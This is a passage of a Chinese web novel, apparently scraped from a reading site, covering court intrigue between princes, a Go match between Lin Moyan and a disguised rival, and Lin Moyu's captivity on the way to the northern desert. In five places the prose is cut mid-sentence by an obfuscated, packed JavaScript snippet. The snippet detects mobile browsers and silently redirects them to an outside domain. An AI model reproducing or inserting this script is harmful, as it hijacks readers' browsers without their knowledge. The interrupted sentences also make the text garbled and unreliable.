江晏笑了笑,没再继续接这个话茬,而是起身告辞道:“既是如此,将军便在家修整一番,好好准备一下出征的各项事宜吧。晚辈就先告辞了。” “谢殿下挂怀。”徐老将军拱手向江晏行了一礼,随后向着内殿传唤道:“亦然,快出来送一送八皇子殿下。” “好,来了!”徐亦然一直躲在门后偷偷听墙角,听到父亲的传唤立刻蹦蹦跳跳地窜了出来,对着江晏笑道:“请吧,八皇子殿下。” “请。”江晏回首一笑,跟着徐亦然一起向门外走去。 一路上,徐亦然一直把手背在身后,时不时歪头看向江晏,一副欲言又止的表情。她的心事已经快要写在脸上了,江晏看着她,无奈一笑。 “亦然有什么想说的吗?”江晏主动开口问道。 “其实也没什么……”徐亦然不好意思的挠挠头,继续说道:“就是……江晏哥哥,我想问问,江煜他这段时间去哪了?我这些天都没怎么见过他。” 徐亦然还未开口时,江晏就已经有预感她要问什么了。果不其然,她一开口就是询问有关江煜的问题。 江晏不假思索道:“他呀,我也不知道。毕竟从我回黎国起到现在,我也还没有见过他。他的行踪向来无定向,我也不知道他在哪里。” “这样啊,连你也不知道……”徐亦然颇有些失望道:“其实也没什么事,我就是随便问问。” 她的小心思已几乎昭然若揭,江晏却也不忍心拆穿她,只是笑道:“好好好,我知道了。会为你留意他的动向的。” 过不了多久江晏就要带兵出征,现在本不应该是问这些的时候。但徐亦然实在没忍住才开了口,问出这个不合时宜的问题。 徐亦然想了想还是觉得不太合适,赶紧找补道:“江晏哥哥,我知道你快要出征了。我不是不关心你,我只是……” “好了好了,无妨。我知道的。”江晏忍俊不禁道,拍了拍她的肩以示安慰。 行至将军府外一些距离后,江晏顿步,对徐亦然说道:“送到这里就可以了。亦然,你回去吧。” “好。那就再见啦,江晏哥哥。”徐亦然笑着向他挥挥手,转身回往将军府。随后又像是想起了什么,回头对他说了一句:“我真的只是随便问问!” 说完这句之后,徐亦然一路小跑着离开了。 看着落荒而逃的徐亦然,江晏无奈一笑。再一想到江煜,江晏就又来气了。这人平时便花天酒地到处惹风流债,号称什么“万花丛中过,片叶不沾身”,是黎国出了名的花花公子,欠下的风流债两只手再加上两只脚都数不过来。 父皇和母妃都曾规劝过他,但他依旧丝毫不知收敛,整日花天酒地不务正业。对此,江晏也拿他毫无办法。 但不管他在外面怎么样,徐亦然可是他们的妹妹。虽无血缘纽带,但从小一起长大的他们不是亲兄妹胜似亲兄妹。再怎么耍风流,也不可以混账到对自己的妹妹下手。若是真的对江煜动了什么心思,江晏可以肯定,徐亦然一定会伤心的。 江晏自然是不会想看到徐亦然伤心,于是决定在见到江煜后一定要好好整治他一番,改改他这随意耍风流的臭毛病。要么就让他收心一心一意的对待徐亦然,要么就直接离她远远的不要给她任何念想。 回到自己的宫殿后,江晏叫来陆辞,问道:“江煜呢?这些天怎么都不见他?” 陆辞犹豫片刻,最终还是如实说道:“禀殿下,三皇子此刻应该是在醉月楼里。” 醉月楼是黎国最大的风月场所,江晏闻言皱了皱眉,他还真是一刻都不停歇,这样整日沉溺于温柔乡里像什么样子。 “你去寻他回来,就说我找他有要事。”江晏蹙眉,对陆辞说道。 不只是因为徐亦然,江晏急着见他,还有其他的缘故。在他离开黎国前往西启之前,曾交手给江煜几件要务,不知现在处理的如何了。但对于江煜的能力,江晏其实还是比较放心的。 “是。”陆辞领命退下,前去寻找江煜。 西启内,林默言在林府等待着父亲退朝回来。天色将晚,看着欲落不落的太阳,林默言叹了口气,知道父亲一时半会儿肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505588|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定是回不来了。 林默言一直都想请医官为父亲诊脉,但他总是没有多少闲暇时间,这件事情就被一直拖来拖去。这样下去也不是办法,林默言干脆起身出府想去给父亲抓几味药材。 买完药材后,林默言慢慢踱步着往回走。如今语儿不在,父亲也时常不在家里,就连江晏那个讨厌鬼也离开了西启,现下只有秦初偶尔和她聊一聊事务。林默言多数时间都是一个人百无聊赖呆在林府,都快闷坏了。借着给父亲抓药,正好出来透透气。 一想到江晏,林默言又忍不住开始浮想联翩。离别之时自己还抱了他,他会不会觉得自己一点都不矜持呢?随即又想着抱都抱了还怕什么,他们之间还说不准有没有下次见面呢。 “应该会再见的吧……”林默言在心里默默的想着。 抬眸之时,忽见前方的小道旁坐着一人。那人端坐于石桌旁,石桌上摆着一盘棋,黑白两盘棋子都放在他的手边。此刻他正安安静静的坐着一个人独自对弈,周围车水马龙的喧嚣仿佛与他隔绝开来。 秋风轻起,抚动斑驳枝丫上的柳条。时不时有几片柳叶飘落,秋意荡漾。而他却独立于这份萧瑟之外,沉溺于自我世界之中。 林默言看着他,只觉得甚是眼熟。待走进几步,细看之下,才发现那人竟是徐衍。不过今日的他不同于以往的庄肃黑袍,而是换了一身俊雅飘逸的白衣,所以林默言才没有一眼认出。 林默言缓缓靠近他,凝神细看了一下他面前的棋盘。黑白两子相互缠斗,纠缠不休,难分高下,已占据了大半的棋盘。他抬起一只颇有些苍白的手捻着白子,微垂眼眸看着棋盘,似在思考着该如何破局。 先前他穿黑衣时,林默言只觉得在那一身黑衣的掩映的他的脸色显得尤为苍白。现在他换了一身白衣,林默言又觉得那份苍白仿佛更深了几分。那是一种有些病态的苍白,整个人看起来没什么血色。 林默言的棋艺曾得到过许多先辈的认可,她的棋艺可谓是出神入化。现在她看着徐衍布下的这盘棋,觉得他的棋艺甚是不错。 正当林默言还在参透棋盘中的奥秘时,容玦抬起头,看着很是入迷的她轻笑道:“你来了。” 林默言这才回过神来,迎上他的目光,有些不好意思的挠挠头说道:“嗯。我方才路过这里时看到你在下棋,就想着上前来观摩一番。没有打扰到你吧?” 容玦淡然一笑道:“无妨,献丑了。你坐在这里看吧。” 于是林默言便坐在了他的前面,单手托腮继续端详着这盘棋局。 不料容玦却抬手覆了眼前的棋局,将黑白两字重新归类到棋盒里。 林默言还未参透这一棋局他便抬手掀了,微微诧异道:“这盘棋正到了精彩之处,为何不继续下了?这也太可惜了。” “不过是随手推就,不成方圆,没什么好可惜的。”容玦抬眼看着她,眼神赤诚,问道:“你愿意与我对弈切磋一番吗?” 容玦说着,将装着黑子的棋盒推向她。 林默言也正有此意,不假思索的伸手接过,笑道:“承让了。” 29. 第 29 章 林默言接过黑子后,抬眸看了看徐衍,对方俨然是一副从容之态,轻笑着回看她。 林默言看出他对自己的棋艺非常自信,竟主动执白子选择了上手。但她也不介意对方将下手的位置让给她,棋艺如何,还得等对弈过后再见分晓。 在上次祭拜先生遇到他之后,林默言特地去翻了一下先生的弟子名册。先生是一个细心的人,他教习过的每一位弟子都有所记录。名册上记录着每一位学子的名字,还有性格家境等一些基本信息,这些都是先生亲笔记录的。 而在这些厚厚的名册上,的确有一个名为徐衍的人。上面说徐衍家境贫寒,但为人正直,聪慧好学,也很能吃苦。林默言仔细的回想了一番,先生的弟子中好像是有这样的一个人,只是时间过了太久她对徐衍的印象并不怎么深了。 不过他既是先生的弟子,那么棋艺肯定不会差的。林默言暗暗有些期待和他的对局。她也算得上是琴棋书画样样精通,关于棋艺她也非常自信,先生也曾夸奖过她这一才能。林默言与人对弈虽不敢说未尝一败,但也有把握败少胜多。 林默言捻起一颗黑子落于棋盘中央,抬眸对着对方一笑,说道:“请吧。” 容玦修长的手指轻轻捻起白子,那一颗颗棋子在他苍白的手中尤为鲜明。思索片刻后,容玦也落下一子。 两人有来有往的对弈着。作为一个弈者,林默言从来不会轻视任何一个对手,每场对弈她都认真对待,这也是一位弈者该有的风范。 刚开始,林默言还能游刃有余的应对着。但越到后面,此人的下发就越发古怪。虽看起来散漫随意,实际上却步步为营,逼得林默言节节败退。林默言很久没有遇到这般厉害的对手了,她竟参不透对方的布局。但她可不会轻易认输,不得贪胜,不可不胜。 棋盘上的战况愈发激烈,林默言丝毫不敢分心,容玦也是全神贯注着。 缠斗了许久,棋盘上黑白两子看起来势力相当。 “此为鬼手。”伴随着容玦低沉的声音,一颗白子落下,胜负也随之顷刻间分明。 “我输了,心服口服。”林默言放下手中其余的黑子,输也要输的坦荡。她抬头看向对面坐着的人,目光中不禁多了几分欣赏。 “你很厉害,唯一的缺点就是过于急躁了些。”容玦说道。 这一点林默言并不否认,虽然她已经尽力去做到心如止水,但与眼前这个沉着冷静到令人惊叹的人相比她确实是急躁了些。 容玦拿回自己刚才落下的最后一子以及林默言落下的最后一颗黑子,对林默言说道:“倘若方才你将子落到这一处,获胜者就不会是我了。” 容玦说着抬手将刚才拿下来的黑子放到了另外一处位置,这样一放,瞬间就扭转了整个战局,黑子反败为胜。 林默言看得眼睛都直了,她现在才真正开始敬佩这个人。弈棋之道,一颗小小的棋子往往能扭转整个战局,但并不是任何人都能做到这一点的。所谓神之一手,就是仅凭一子便让整片残局活过来,这也是围棋的魅力所在,不到最后一刻永远不要轻言胜负。 “多谢赐教,在下受益匪浅。”林默言笑着从他手中拿过白子,将黑子归于她先前落下的位置,将棋局恢复成原本的胜负。 随后,她看着眼前之人说道:“只是胜负已定。弈棋之道,落子无悔。先生也一定教过你的,对吧?这也是一个弈者该有的风范。” 容玦看着被她拿旗子时无意间碰到的那只手,手上还残留着些许触感。抬头看她时,她的目光中已满是欣赏和敬佩。看着她明媚的笑颜,容玦有一瞬间的恍神。 “对啊,落子无悔。比起胜负本身,能参透其中的教训更为可贵。”容玦笑着回应她。 “徐衍,你有兴趣与我再下几盘棋吗?”林默言问道。难道遇到这般厉害的人,林默言也想借此机会精进一下棋艺。 “荣幸之至。”容玦再次执起白子。 两人又接着下了几盘棋,几番切磋之下林默言也渐渐看透了一些他的棋路。两人都赢了几局,有来有往,不相上下。 林默言发现他很喜欢用白子,方才想着和他换一下他也没换。但林默言并不怎么喜欢用白子,因为黑子总是先手的那一方,她还是更喜欢先发制人的感觉。于是她很好奇的询问徐衍为什么喜欢用白子。 容玦看着她,目光依旧炙热,说道:“我很擅长在被动的形势中闯出一片天地。” “看出来了。”林默言若有所思的说道。一个擅长下棋的人,从他的棋路里往往可以反映出他的一些性格特点。跟徐衍对弈,林默言看出他很能隐忍,沉得住性子,但一出手就是直逼要害。 已至黄昏时刻,林默言觉得时辰已晚,她还要回去给父亲煎药,于是起身对他告别道:“时辰已晚,我也该走了。今天能与你对弈,我很开心。” 容玦起身收好棋盘,和她一起向前走去。一路上,林默言还是对刚才精彩绝伦的棋局回味无穷。看着身旁面色很是苍白的徐衍,林默言觉得他们现在也应该算个朋友了,问出了一个她一直想要问的问题:“徐衍,为何你的脸色看起来总有一些……不正常的苍白?” 问完之后,她又突然醒悟过来这是一个极为不礼貌的问题,于是赶紧补充道:“如果不能说的话也没关系,不必勉强。” 容玦听着她的关心,兀自笑了笑,毫不隐瞒的说道:“其实这也不是什么不能说的事。我年幼之时曾在鬼门关走过一遭,从那之后便落下了病根,难以医治,就成了现在这般。” 听他如此直言不讳,林默言倒有些不好意思了。 “若以后有机会,我还能再与你对弈吗?”容玦问道。 “当然!”林默言今日下棋很是过瘾,于是直接答应了他。 陪着林默言走了一会儿后,容玦就离开了。他不敢直接送林默言回林府,害怕自己的身份被认出。 林默言回到林府亲自为父亲煎药,随后送了过去。 车马劳顿,路途遥远,林默语的双手双脚依旧被牢牢捆着。舟车劳顿之下,她已是疲惫至极。 拓跋宇前来给她送饭,林默语盯着他,最终还是下定决心开口说道:“放开我吧,我自己来。” 听她主动对自己开口还不是辱骂自己,拓跋宇微微有些错愕,笑道:“你这是听天由命了?不会是想跑吧?” 林默语努力将冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517705|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的目光变得柔和了些,沉声说道:“你觉得,事到如今我还能怎么跑?或者说,仅凭我一人,我跑得了吗?” “林小姐乃聪明人。”拓跋宇倒也爽快,没有过多废话,拿出匕首将捆住她的绳子一节一节割断,笑道:“早有这样的觉悟,不就不用吃这么多苦头了?” 被捆住许久,林默语的手脚已有些不听使唤,又痛又麻。脱困之后,她轻轻揉搓着自己的手腕。现在的情形,她不得不向拓跋宇低头。唯有这样才能够明哲保身。他既然对自己感兴趣,不如以此为依仗,以便在异国他乡保住自己的性命。 林默语是个聪明人,不喜欢自讨苦吃。如今的情形唯有假意顺从等待救援,才是最明智的选择。只要活下去,一切就都还有转机。 待缓过来一些劲后,林默语伸手想要接过拓跋宇端来的粥,却被拓跋宇按下了手。 “谅你现在也没有力气,还是我来吧。”拓跋宇说着,将一勺粥送到她的嘴边。与上次直接把一大碗灌到她的嘴里那种简单粗暴的方式相比,倒是温柔了许多。 林默语凝眉片刻,低头喝了他送到嘴边的粥。 在拓跋宇眼中,如今的她乖顺的宛如一只温顺柔软的小猫般。拓跋宇一勺一勺的喂着,眼神也不由自主的柔和了许多。 喂完之后,拓跋宇看着她被勒得发红的手腕,有点心疼的伸手轻抚了一下。这鲜明的红痕,在她白皙的手腕上显得尤为扎眼。 “这是伤药,你自己擦上吧。”拓跋宇拿出一个淡青色的小药瓶子,递给林默语。 林默语伸手接过,沉默着没有说话。 拓跋宇倒也没再强迫她多说什么,语气缓和下来,对着她笑道:“这段时间你先好生修养。放心吧,我会好好待你的。” 说完之后,拓跋宇转身走了出去。对下人吩咐道:“去将那件衣服拿给她穿吧。” 他的手下闻言微微震惊,却也不敢在王子殿下面前多嘴些什么,十分恭敬的行礼道:“遵命,王子殿下。” 已至晚秋,天气渐凉。特别是现在距漠北地带越来越近,气候更是愈加寒冷了几分。林默语静默的看着拓跋宇命人呈上来的衣服,犹豫着要不要穿上它。 那件衣服以鹿的皮毛缝制,配色以红蓝色调为主,宽衣大袖,与西启的服饰风格相差迥异。衣服上绣着某种古老的异族图腾,图腾中镶嵌着各色宝石,看起来神秘而又典雅。 只是这件衣服看着似乎已经有些年头了,却依旧掩盖不住它那高贵而神秘的气息。林默语猜想,这件衣服应该不是拓跋宇随手找来的,应该大有些来头。 林默语思忖片刻,她既要讨好拓跋宇,那便入乡随俗吧。于是她在擦好伤药后,拿起这件衣服换上。林默语还从未尝试过这样的衣服,竟意外的十分合适,衬得她多了几分异域风情。 换好衣服后,林默语才感觉到身体渐渐暖和了些。她轻轻掀开一片帘角,看着窗外全然陌生的景色,心中的凄凉感油然而生。 此番遭遇,可谓是天降横灾。如今她一人无依无靠的处在这全然陌生的地方,与家人天各一方。不知姐姐和父亲现在如何了。待他们发现自己不见时,她自己又会是何种境况? 30. 第 30 章 黎国内,江晏看着姗姗来迟且悠闲散漫的江煜,蹙了蹙眉,颇有些埋怨的开口道:“是不是我不叫你,你就不打算来见我了?” “阿晏说得哪里话,怎么会呢?”江煜却是不甚在意,轻摇折扇道:“为兄这几日才得知你回来的消息,本想着来见你,没想到你竟主动来找我了。” “你可真是个大忙人啊……”江晏无语的看向他。自己回来的消息可谓是满城风雨,而他的亲哥哥竟不知道,可想而知江煜的心思放到了哪里。 “还好还好,比不上我们阿晏。这才刚从西启回来,又要准备出征漠北了。阿晏,为兄可很是看好你啊。”江煜十分散漫的坐下,看着他道。 看着江煜如今的模样,江晏也不知道该说些什么是好。父皇和母妃都对江煜持恨铁不成钢之态,但江晏却能理解他的苦衷。 虽是如此,江晏也不想看着他整日颓废下去。犹豫片刻,江晏还是开口道:“那你呢?你说说,你有多久没碰剑了?” 江煜闻言,脸上的表情略微僵了一瞬,但也仅有那么一瞬。他合上折扇,淡淡开口道:“这个嘛,具体我也记不清了,何必去记这些东西徒增烦恼?现在的阿晏应当可以非常轻松的击败我了,你不开心吗?” 江晏摇了摇头,继续说道:“我只是觉得这么多年了,你不应该一直这样颓废下去。那些陈年旧事也是时候该忘怀……” “可我并不觉得我如今的模样哪里颓废了。”江煜直接开口打断了他。 “也罢。”江晏没有再继续说接下来的话,他知道如果说出来恐怕又要争吵起来。如今多事之秋,他不想费不必要的口舌。 江晏话锋一转,说道:“我不管你在外面如何花天酒地耍风流,但你实在不应该对亦然有什么心思,伤她的心。她是我们的妹妹,你若真的喜欢她,就应该一心一意的待她。若没有的话,早日与她说清楚吧。” 听他说起徐亦然,江煜皱了皱眉,开口时带着万般的无奈:“你应该知道的,我从来都没有对她有过任何苟且之心。我又不是畜生,再混账也知道她是我的妹妹。我也从来都是把她当妹妹而已。” 此话一出,倒是换成江晏愣神了。莫非是徐亦然对江煜起了什么心思? 但其实这样一想也说得通,徐亦然自小就是缠着江煜多一点。在其他人面前徐亦然都是知书达理的,但她却总会在江煜面前展现一点小脾气。江晏起初并没有往这个方向想,但现在看来似乎早有预谋了。 “这段时间,我已经尽力在躲着她了。你莫要告诉她我的行踪。这件事情……我也不知道该怎么办。只得先躲着吧。”江煜开口说道。 想他江煜纵横情场多年,从来都是万花丛中过,片叶不沾身。什么样的女人他没见过?什么样的女人是他应付不来的?可如今却被徐亦然这个小丫头搞得束手无策,在面对她时,江煜真的不知道该怎么办。 “好,我知道了。”江晏应答道:“但一直这样也不是办法,总有一天,你要对她说明白的。” 难道有一向非常健谈的江煜不想继续下去的话题,他随口敷衍了几句“知道了知道了”,随后开口对江晏说道:“就此打住,闲谈到此为止,说正事吧。” 见他终于认真下来,江晏便也收起闲谈的架势言归正传,说道:“可有什么发现?” “江怀那边,确实有所异动。我盯着他许久,他已在暗中悄悄地招兵买马。近些年来你的风头很甚,他怕是已经迫不及待想做皇帝了。此次出征,你要多加小心。我怕他丧心病狂道难以预料的程度。”江煜在桌面上轻点着折扇,对江晏说道。 江晏早就看出了江怀的不对劲,没想到他竟真的在暗中组件自己的军队。江晏思忖片刻,说道:“此事先莫要打草惊蛇。待我们再观察一些时日,再决定要不要告知父皇。” 江煜点了点头,没有否认江晏的做法。随后,他又想起了什么,继续对江晏说道:“说起来,还有一事。你还记不记得前些年江怀身边有一个忠心为他办事的走狗?那人甚是聪慧。但现在,他似乎不在江怀身边了。” 听到此事,江晏倒是不甚在意。江怀身边的手下数不胜数,他也并没有记住每一个。令他没想到的是,江煜竟如此细心的记住了。 “兴许是跑了又或是被他杀了,他杀死手下不也是常有的事吗?”江晏说道。 江煜也觉得自己或许是多心了些,便没有再继续计较这个问题。兄弟二人商讨一番后,江晏正想与他浅酌几杯,江煜却起身告辞了。 江晏看着渐晚的天色,奇怪道:“这个时辰了,你还有什么要事?” “有啊,当然有。”江煜拍了拍江晏的肩,笑着说道:“这个时辰,红绫就快要登台献曲了。我自然是要去捧场一番的。怎么,阿晏可有兴趣与我同去?” 红绫是醉月楼有名的歌姬,靠着一副好嗓子为生。江晏虽未亲眼见过,但听闻这位红绫貌美如花,端庄贤良,是江煜众多的红颜知己之一。 “不必了。”江晏嘴角抽了抽,拿开他搭在肩膀上的手道:“你还真是一刻也不停歇啊……” 江煜没再说话,哈哈大笑着出了门,一路朝着醉月楼走去,留江晏一人在院中暗自皱眉。 已连续赶了多天的路,距离漠北越来越近。不出几日,便能够顺利抵达了。在寻到适合暂时落脚修整的地方后,拓跋宇下令整个队伍先在此安营扎寨,好好修整一番再继续上路。 此处距离水源较近,拓跋宇打了口水仰头喝下。一回头,见林默语从马车中走了出来。此刻她身上穿的,正是昨日送去的衣服。 拓跋宇想过林默语穿上这件衣服时一定会非常好看,但此刻亲眼看到,心中还是忍不住颤了颤。颠簸许久,她挽起的长发有些微微松散。并未加多少装饰,却依旧十分夺目。红色的衣服衬得她的皮肤越发白皙。 林默语看了过来,拓跋宇的目光与她相接的那一刻,瞬间体会到了什么叫摄人心魄。她仅是淡淡的向前看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14539523|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,什么都没做,却不禁让人甘愿沉沦于此,再移不开目光。 林默语似想移步走过来,一旁的侍从伸出手拦住了她。 拓跋宇皱了皱眉,朗声道:“不必拦着,让她过来。” 侍从赶紧依言放行。林默语自始至终都没有多大的情绪起伏,放行之后,她向着拓跋宇缓步走了过去。拓跋宇看着她一步一步向自己走来,竟在不觉中收起了方才有些吊儿郎当的模样,站直了身体等着她过来。 “这件衣服,还挺衬你的。”拓跋宇发自内心的说道。 听到他的夸奖,林默语依旧没什么大的反应,脸上依旧是那副淡然的表情。拓跋宇有时候甚至有点怀疑她是不是个面瘫。 拓跋宇目前在她脸上见到过最鲜活的表情就是刚把她绑来时她苏醒的那一刻,脸上的愤怒与不可置信。从那以后,林默语就再未有过什么大的情绪起伏了。一直板着一张脸,更没有什么生动的表情。 拓跋宇唯一一次看见她笑,是她处在林默言身边时。那时拓跋宇才发现,原来她是会笑的啊。 而林默语上前来,并未与他多说些什么,甚至连一个多余的眼神也没有给他,仅仅是言简意赅道:“不必为我赶着马车了,我骑马就好。” 一直呆在马车里不见天日,有点憋闷的慌。反正自己是横竖都逃不过的,不如舒服自在一点。 “你会骑吗?”拓跋宇问道。随后他又想起了第一次见到她时,她在林中肆意舞剑的身姿,英气而又灵动。这才惊觉自己的问题有点多余了。 林默语却不想与他过多解释,只是淡淡的说了一句:“你也不必把我当做娇滴滴的深闺大小姐。” “这倒是我的疏忽,忘了林二小姐本就是飒爽英姿,巾帼不让须眉。”拓跋宇笑道:“既是你的想法,那启程之时我便为你备马。” 得到了想要的答复后,林默语转身欲走。拓跋宇却不想她这么快离开,拦住了她,开始没话找话起来。 “你就不好奇,你身上的这件衣服是从哪里来的吗?不好奇为何我出使异国他乡也要带这样一件衣服在身上吗?”拓跋宇问道,有些期待的看着她的反应。 这件衣服,其实是拓跋宇的生母大王妃的遗物。拓跋宇一直都将这件衣服保存着,没想到竟在出使西启时阴差阳错的被和一众货物一同带了过来。因为此事,拓跋宇还大发雷霆了一番。未曾料到这件衣服竟派上了用场,穿在了林默语身上。从前拓跋宇不会让任何人碰这件衣服,如今却心甘情愿给了她。 “抱歉,我并不是很想知道。”林默语说着,甚至没有抬眼看他。 她会是这种反应已在拓跋宇意料之中,拓跋宇并没有迁怒她的无礼,挑眉一笑道:“既是如此,那我也先不勉强你。待你什么时候想听了,我再讲给你听。” 说着,他放开了拦着林默语的手。 林默语毫不犹豫的转身离开,在心中冷笑着。 不会有那一天的,永远都不会。 31. 第 31 章 翌日,林默言为妹妹寄去了一封信件问安,叮嘱她早去早回。已过了十几天,想来她应该已经抵达幽州了。语儿一般不会一个人停留太久,停留上半个月她应该就会回来。 她们姐妹二人从小便是形影不离的,时时刻刻都陪伴在对方身边,鲜少会有分离的时候。此次分别,虽没过多久,但林默言却还是不禁有点想念她。不知为何,她的心中总有莫名的不安感。 “兴许是这些天有点太闷了吧……”林默言起身走了走,压下了心中那股莫名的不祥之感。 在院落中缓缓踱步片刻,看到一旁的石桌上摆着的棋盘,林默言突然想起前几日与徐衍的那几局对弈。那几盘棋下得甚是精彩,林默言至今回味无穷。 林默言缓步上前坐到了石桌旁,拿起棋子开始琢磨棋局。棋盘之上,一招一式千变万化。林默言轻轻捻着黑子,思考若是再与徐衍对弈自己应该如何破他的局。 之前初见面时,徐衍曾说过他是一位县令的差使。林默言这些天偷偷查了徐衍的底细,竟意外得知了他所说的县令就是范崇。 她越想越觉得不对劲,若徐衍真的是范崇手底下的人,如今范崇被捕入狱,许多部下也遭到了牵连,徐衍又如何做到了独善其身?这怎么想,都觉得不太可能。 历经思考之下,林默言暗暗决定下次见到他要试探他一番。说不定还可以从他的嘴里套出一些有用的东西。 独自一人对弈终究还是无甚趣味。下了几盘之后,林默言起身出了林府。 上次分别之后,她曾与徐衍口头约定了若有机会再一起下棋,但却没有约定具体的时间地点。横竖闲来无事,林默言再次来到了上次与他见面的地点碰碰运气,看看能不能再次遇到他。 林默言本是抱着随意走走的心态,却没想到真的遇见了他。 这是一个与那日如出一辙般宁静的下午,他静静的坐在那石桌旁,看着眼前的棋盘。与上次不同的是,今日他没再穿白衣,也没有独自下棋,只是静静的坐在那里。 原本林默言是将他视作半个朋友的,但当得知他是范崇的手下后,不免对他产生了一些戒心。无论怎样,对她而言最重要的永远都是林家的利益。站在父亲的对立面,就等于站在她的对立面。 思考片刻后,林默言还是挂起明媚的笑容走上前去。她将心底的怀疑隐藏的很好,就如同以往什么都不知道时一般。 “没想到今日还能在这里遇见你。真是好巧啊,徐衍。”林默言盈盈笑道。 容玦抬头看向她,笑道着回应:“嗯,我刚坐到这里不久。也算是莫大的缘分。” 但林默言不知道的是,其实这些天的每一个午后,容玦都会来这里等待一番,直至天色逐渐暗去,人潮渐渐稀疏。在今日的午后,他终于等来了林默言。 “既然遇到了,那今日还有没有兴趣再与我对弈一番呢?”容玦说道。 “好啊。与你对弈,我甚是开心,受益匪浅。”林默言说着,在他的面前坐了下来。两人不约而同的拿起棋子,依旧是林默言执黑子,容玦执白子。 只是今日除了关心棋局之外,林默言还把心思放在了套话上,暗暗敲打着他的底细。 “初次见面时,我曾听你说过你是一位县令的差使。不知现在你当值的状况如何了?”林默言一边在棋盘上落下一子,一边状似漫不经心的问道。 “不甚顺利。”容玦知道她想干什么,见招拆招道:“如今我已不当值了。” “哦?可否容我冒昧的问一句为何吗?” 棋盘上的对局愈演愈烈,两人话里话外的机锋也愈发欲盖弥彰。 “不瞒你说,我此前与你说过的县令正是范崇。如今他已经入狱了,我自然也就不当值了。”容玦说道。 他一直都在悄悄监视着林默言,所以林默言调查徐衍身份一事,他自然也是知道的。而且他早就料到会有这么一天,早就思考好了对策。所以此刻,他从善如流的回答着林默言的问题。 林默言原本还想再曲折迂回一番,却没想到对方竟如此实诚,主动提起了范崇。这倒是令她有些措手不及了。 尽管如此,林默言还是迅速稳了下来,假意关心他道:“原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544606|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来是这样啊。那范崇入狱,你没有受到什么牵连吧?” “牵连自然是有的,我也曾被关押入狱了一段时间。只是我非范崇亲信,个中机密我并不清楚,也无从接触。审讯一番确认我没有什么问题后,他们也就把我放了。”容玦坐怀不乱的回答道。 他说的此番话,林默言暂时看不出有什么问题,此话题再深入恐怕会打草惊蛇。此事还需进一步考证,林默言便没有再继续追问下去,自然的绕开了这个话题。 林默言问道:“那此后呢?你打算怎么办?” 其实她倒是真的有几分关心这个话题,毕竟徐衍是先生的学子。林默言一直不解一先生口中所描述的学识他为何只是一个小小的县令差使,一徐衍的才学,应当不能止步于此才对。 容玦听到她这样的一问,勾唇一笑,故意问道:“若我说想要归于林丞相门下,你可欢迎?” 林默言不假思索道:“自然是欢迎的。” 听到此句,容玦不禁微微动容。但他自己也知道,这是绝对不可能的,便试探着继续说道:“如今朝中分为丞相和国师两大派。关于那位国师容玦,你怎么看?” “国师与父亲在政局上相对立,是父亲的敌人。父亲的敌人就是林家的敌人,便也是我的敌人。”林默言如实说道。 这是意料之中的回答,容玦只是微微苦笑,并未再说话。 两人又不约而同把更多的注意力转移回了棋局之上。方才说话之间,两人均已一胜一负。如今的第三局,也正如火如荼的开展着。 几番缠斗之下,最终是林默言棋高一招,拿下了这一局。林默言觉得自己渐渐看透了一些他的路数,笑道:“承让了。” “你很厉害。”容玦发自内心的赞叹道。 林默言起了身,对他笑道:“下次若是再想与我对弈切磋,你可以直接来林府寻我。” 或许他这辈子都无法堂堂正正的踏入林府,但容玦还是对着她笑道:“改日若有机会,我一定登门拜访。” 天色渐晚,秋风微凉。两人互相道了别,便就此散了。 32. 第 32 章 在此地安营扎寨休息一段时间后,拓跋宇带领着使节团重新启程赶往漠北。他遵守承诺,在启程之时为林默语牵来了一匹马,不再将她困于那一顶小小的轿子之中。 拓跋宇想要扶她上马,林默语却并未理会他伸出来的手,略过他转身轻盈的跨上马背。 拓跋宇兀自一笑,向后走了几步翻身上马。随后策马向前,与林默语并肩前行。 